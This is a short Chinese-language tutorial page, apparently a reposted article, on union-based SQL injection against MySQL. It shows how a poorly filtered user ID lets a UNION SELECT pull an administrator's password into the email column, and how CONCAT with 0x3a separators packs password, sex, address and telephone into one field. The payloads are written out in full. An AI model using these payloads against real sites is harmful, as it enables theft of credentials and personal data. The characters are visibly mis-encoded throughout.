《Mysql必讀Mysql數(shù)據(jù)庫使用concat函數(shù)執(zhí)行SQL注入查詢》要點(diǎn):
本文介紹了Mysql必讀Mysql數(shù)據(jù)庫使用concat函數(shù)執(zhí)行SQL注入查詢,希望對您有用。如果有疑問,可以聯(lián)系我們。
SQL注入語句有時候會使用替換查詢技術(shù),就是讓原有的查詢語句查不到結(jié)果出錯,而讓自己構(gòu)造的查詢語句執(zhí)行,并把執(zhí)行結(jié)果代替原有查詢語句查詢結(jié)果顯示出來.MYSQL數(shù)據(jù)庫
例如:原本查詢語句是
MYSQL數(shù)據(jù)庫
代碼如下:
select username,email,content from test_table where user_id=uid;
其中uid,是用戶輸入的.正常顯示結(jié)果會出現(xiàn)用戶名,用戶郵箱,用戶留言內(nèi)容.但是如果uid過濾不嚴(yán),我們可以構(gòu)造如下SQL語句來獲得任意數(shù)據(jù)表信息.
代碼如下:
uid=-1 union select username ,password,content from test_talbe where user_id=管理員id;
實(shí)際執(zhí)行就是
代碼如下:
select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理員id;
其中顯示正常用戶emai的地方,變成了顯示管理員的密碼了.
但是,往往事情并不是這么簡單,首先要找到漏洞,其次構(gòu)造這種語句時候要考慮各個字段的類型,讓int或samllint類型的字段顯示varchar顯然不合適.最后就是本文要說的.MYSQL數(shù)據(jù)庫
如果出現(xiàn)問題的SQL語句只有一個或兩個字段怎么辦,我們想知道很多東西,一兩個字段太少了,遠(yuǎn)遠(yuǎn)不能滿足我們的需要.那么我們可以使用concat函數(shù).MYSQL數(shù)據(jù)庫
concat函數(shù)本來是這樣用的SELECT CONCAT('My', 'S', 'QL');執(zhí)行結(jié)果是'MySQL'.也就是連接作用的.我們利用它來為我們服務(wù),
MYSQL數(shù)據(jù)庫
代碼如下:
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理員id;
這個語句實(shí)際查詢了六個字段,但是顯示的時候,把password,sex,address,telephone等字段合在一起,顯示在原本應(yīng)該顯示email的地方.
更好的方法:中間用分隔符分開:
MYSQL數(shù)據(jù)庫
代碼如下:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理員id;
其中0×3a是“:”的十六進(jìn) 制形式.
轉(zhuǎn)載請注明本頁網(wǎng)址:
http://www.fzlkiss.com/jiaocheng/5389.html